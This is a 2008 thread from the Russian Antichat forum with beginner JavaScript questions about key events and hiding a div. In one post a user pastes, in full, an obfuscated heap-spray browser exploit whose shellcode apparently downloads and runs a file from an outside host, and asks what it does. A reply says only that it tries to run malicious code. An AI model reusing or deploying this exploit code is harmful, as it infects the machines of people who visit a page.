ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Программирование > PHP, PERL, MySQL, JavaScript
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #541  
Старый 12.05.2008, 12:49
Аватар для Дикс
Дикс
Познавший АНТИЧАТ
Регистрация: 16.04.2006
Сообщений: 1,488
Провел на форуме:
2209675

Репутация: 537


Отправить сообщение для Дикс с помощью ICQ
По умолчанию

как повесить событие на нажатие enter в простом инпуте?
попробовал такой код:
PHP код:
var flg = (document.all) ? 1;

if(
flg){
    
document.captureEvents(Event.KEYDOWN);
}

document.onkeydown pressed;

function 
pressed(e){
    if(
flg){
        if(
e.keyCode == 13add();
    } else {
        if(
event.keyCode == 13add();
    }
    return 
false;

в опере всё работает как надо, а в ФФ жутко тормозит ввода текста в любые инпуты.
Инпут не привязан ни к какой форме, поэтому при нажатии ентер в нём сабмит не работает.
хотелось бы отследить ентер, нажатый в конкретном инпуте - делаю чат.
 
Ответить с цитированием

  #542  
Старый 12.05.2008, 12:58
Аватар для Isis
Isis
Флудер
Регистрация: 20.11.2006
Сообщений: 3,316
Провел на форуме:
16641028

Репутация: 2371


По умолчанию

В начало функции:
PHP код:
var window.event
 
Ответить с цитированием

  #543  
Старый 12.05.2008, 13:03
Аватар для desTiny
desTiny
Reservists Of Antichat - Level 6
Регистрация: 04.02.2007
Сообщений: 1,152
Провел на форуме:
3008839

Репутация: 1502


По умолчанию

Цитата:
Сообщение от Дикс  
как повесить событие на нажатие enter в простом инпуте?
попробовал такой код:
PHP код:
var flg = (document.all) ? 1;

if(
flg){
    
document.captureEvents(Event.KEYDOWN);
}

document.onkeydown pressed;

function 
pressed(e){
    if(
flg){
        if(
e.keyCode == 13add();
    } else {
        if(
event.keyCode == 13add();
    }
    return 
false;

в опере всё работает как надо, а в ФФ жутко тормозит ввода текста в любые инпуты.
Инпут не привязан ни к какой форме, поэтому при нажатии ентер в нём сабмит не работает.
хотелось бы отследить ентер, нажатый в конкретном инпуте - делаю чат.
сделай onkeypress...
и посмотри на скрипт изменения статуса в контакте
__________________
Bedankt euch dafür bei euch selbst.

H_2(S^3/((z1, z2)~(exp(2pi*i/p)z1, exp(2pi*q*i/p)z2)))=Z/pZ
 
Ответить с цитированием

  #544  
Старый 12.05.2008, 13:57
Аватар для Дикс
Дикс
Познавший АНТИЧАТ
Регистрация: 16.04.2006
Сообщений: 1,488
Провел на форуме:
2209675

Репутация: 537


Отправить сообщение для Дикс с помощью ICQ
По умолчанию

о, я-я. подсмотрел как сделано вконтакте - теперь и у меня всё безглючно и красиво, спасибо большое!
 
Ответить с цитированием

  #545  
Старый 12.05.2008, 23:56
Аватар для Architek86
Architek86
Познающий
Регистрация: 20.02.2008
Сообщений: 82
Провел на форуме:
107625

Репутация: 2
По умолчанию

Есть див: <div id="zloe">ля-ля</div>
Нужен скрипт, который бы скрыл этот див со всем его содержиммым ("ля-ля")
...
 
Ответить с цитированием

  #546  
Старый 13.05.2008, 00:05
Аватар для VDShark
VDShark
Участник форума
Регистрация: 01.02.2007
Сообщений: 286
Провел на форуме:
804931

Репутация: 526
По умолчанию

Цитата:
Сообщение от Architek86  
Есть див: <div id="zloe">ля-ля</div>
Нужен скрипт, который бы скрыл этот див со всем его содержиммым ("ля-ля")
...
document.getElementById('zloe').style.visibility = 'hidden'; - скрыть с резервированием места (т.е. дива видно не будет, но место останеся пустым);

document.getElementById('zloe').style.display = 'none' - скрыть без резервирования места.
 
Ответить с цитированием

  #547  
Старый 13.05.2008, 18:04
Аватар для DCRM
DCRM
Познающий
Регистрация: 12.12.2006
Сообщений: 89
Провел на форуме:
500895

Репутация: 60
Отправить сообщение для DCRM с помощью ICQ
По умолчанию

Цитата:
Сообщение от Architek86  
Есть див: <div id="zloe">ля-ля</div>
Нужен скрипт, который бы скрыл этот див со всем его содержиммым ("ля-ля")
...

Вот готовая реализация:



Скрипт скрывающий/показывающий DIV по ID:

Код:
function showDiv(xx)
{
  if(document.getElementById(xx).style.display=="none")
  {document.getElementById(xx).style.display="block";}
  else document.getElementById(xx).style.display="none";
}


Пример использования:

Код:
<span onclick="showDiv('manual')">Показать/Скрыть DIV</span>
Код:
<div id="manual" style="display:none;" width="*">ля-ля  :) </div>

Последний раз редактировалось DCRM; 14.05.2008 в 00:20..
 
Ответить с цитированием

  #548  
Старый 13.05.2008, 18:13
Аватар для DCRM
DCRM
Познающий
Регистрация: 12.12.2006
Сообщений: 89
Провел на форуме:
500895

Репутация: 60
Отправить сообщение для DCRM с помощью ICQ
По умолчанию

Цитата:
Сообщение от bomber  
еще вопрос, как можно сделать "живой" поиск? такая тема есть на многих форумах, тоисть, вводишь данные в поле, и через паузу идет запрос в БД на соответсвие с уже введенными данными в поле, результат выводится без перезагрузки

мож где есть уже готовое решение? оч нада
Вот используй эту библиотеку, то что доктор прописал))):
JsHttpRequest

Вот краткий список наиболее интересных возможностей и преимуществ библиотеки.
  • Отличная кроссбраузерность (библиотека работает даже в IE 5.0 с отключенным ActiveX).
  • Поддержка и "прозрачная" работа с любыми кодировками (в том числе русскоязычными).
  • Загрузка файлов на сервер "методом AJAX".
  • Полная совместимость с популярной JavaScript-библиотекой prototype.
  • Полная поддержка отладочных возможностей и традиционных методов программирования на PHP.
  • Обмен многомерными структурами между клиентом и сервером (ассоциативные массивы).
  • Автоматический выбор подходящего метода загрузки данных (XMLHttpRequest, <SCRIPT>, <IFRAME>).
  • Доступен интерфейс, совместимый с XMLHttpRequest.
 
Ответить с цитированием

  #549  
Старый 13.05.2008, 19:25
Аватар для comeoff
comeoff
Познающий
Регистрация: 10.03.2008
Сообщений: 81
Провел на форуме:
233979

Репутация: 1
По умолчанию

Люди, что делает этот яваскрипт?

Код:
<script type="text/javascript">
cHylUUL = unescape("%u9090%u90"+"90%u0feb%u335b%u66c9%u80b9%u8001%uef33%ue243%uebfa%ue805%uffec%uffff%"+"u8b7f%udf4e%uefef%u64ef%ue3af%u9f64%u42f3%u9f64%u6ee7%uef03%uefeb%u64ef%ub903%u6187%ue1a1%u0703%uef11%uefef%uaa66%ub9eb%u7787%u6511%u07e1%uef1f%uefef%uaa66%ub9e7%uca87%u105f%u072d%uef0d%uefef%uaa66%ub9e3%u0087%u0f21%u078f%uef3b%uefef%uaa66%ub9ff%u2e87%u0a"+"96%u0757%uef29%uefef%uaa66%uaffb%ud7"+"6f%u9a2c%u6615%uf7aa%ue806%uefee%ub1ef%u9a66%u64cb%uebaa%uee85%u64b6%uf7ba%u07b9%uef64%uefef%u87bf%uf5d9%u9fc0%u7807%uefef%u66ef%uf3aa%u2a64%u2f6c%u66bf%ucfaa%u1087%uefef%ubfef%uaa64%u85fb%ub6ed%uba64%u07f7%uef8e%uefef%uaaec%u28cf%ub3ef%uc191%u288a%uebaf%u8a97%uefef%u9a10%u64cf%ue3aa%uee85%u64b6%uf7ba%uaf07%uefef%"+"u85ef%ub7e8%uaaec%udccb%ubc34%u10bc%ucf9a%ubcbf%uaa64%u85f3%ub6ea%uba64%u07f"+"7%uefcc%uefef%uef85%u9a10%u64cf%ue7aa%ued85%u64b6%uf7ba%uff07%uefef%u85ef%u6410%uffaa%uee85%u64b6%uf7ba%uef07%uefef%uaeef%ubdb4%u0eec%u0eec%u0eec%u0eec%u036c%ub5eb%u64bc%u0d35%ubd18%u0f10%u64ba%u6403%ue792%ub264%ub9e3%u9c64%u64d3%uf19b%uec97%ub91c%u9964%ueccf%udc1c%ua626%u42ae%u2cec%udcb9%ue019%uff51%u1dd5%ue79b%u212e%uece2%uaf1d%u1e04%u11d4%u9ab1%ub50a%u0464%ub564%ueccb%u8932%ue364%u64a4%uf3b5%u32ec%ueb64%uec64%u"+"b12a%u2db2%uefe7%u1b07%u1011%uba10%ua3bd%ua0a2%uefa1%u7468%u7074%u2F3A%u6D2F%u7079%u6F68%u6F74%u2E73%u796D%u6B6F%u6F68%u7473%u632E%u6D6F%u652F%u6578%u702E%u7068");
		i4zsVXx 	= unescape('%u0800');
		SzZHy 	= 0x08000800;
		bs 		= i4zsVXx;
		while (bs.length <= 0x400000) { bs += bs; }
		var cs 	= new Array();
		for (var id =0; id <36 ; id++) 
		{
			cs[id] = 
			i4zsVXx.substring(0,0x100000 - cHylUUL.length) + cHylUUL +
			i4zsVXx.substring(0,0x100000 - cHylUUL.length) + cHylUUL + 
			i4zsVXx.substring(0,0x100000 - cHylUUL.length) + cHylUUL + 
			i4zsVXx.substring(0,0x100000 - cHylUUL.length) + cHylUUL;
		}
		if (window.navigator.javaEnabled) 
		{
			window.navigator = (SzZHy / 2);
			try  { java.lang.reflect.Runtime.newInstance(java.lang.Class.forName(java.lang.Runtime, 0)); }
			catch(e){}
		}

</script>
 
Ответить с цитированием

  #550  
Старый 13.05.2008, 19:37
Аватар для astrologer
astrologer
Постоянный
Регистрация: 30.08.2007
Сообщений: 773
Провел на форуме:
3069349

Репутация: 808


По умолчанию

Цитата:
Скрипт скрывающий/показывающий DIV по ID:
Код:
function showDiv(xx)
{
if(document.getElementById(xx).style.display=="non e")
{document.getElementById(xx).style.display="inline ";}
else document.getElementById(xx).style.display="none";
}
Пожалуйста, не приводите заведомо плохие примеры.
div - блочный элемент.
Цитата:
Люди, что делает этот яваскрипт?
Пытается запустить на исполнение вредоносный код.
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
[Delphi]/[Pascal] Задай вопрос, получи ответ Isis С/С++, C#, Delphi, .NET, Asm 6762 17.06.2010 21:23
Proxy FAQ foreva Чужие Статьи 12 04.01.2008 12:15
ЕсТь ВоПрос Guma Чаты 4 26.10.2005 21:48



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ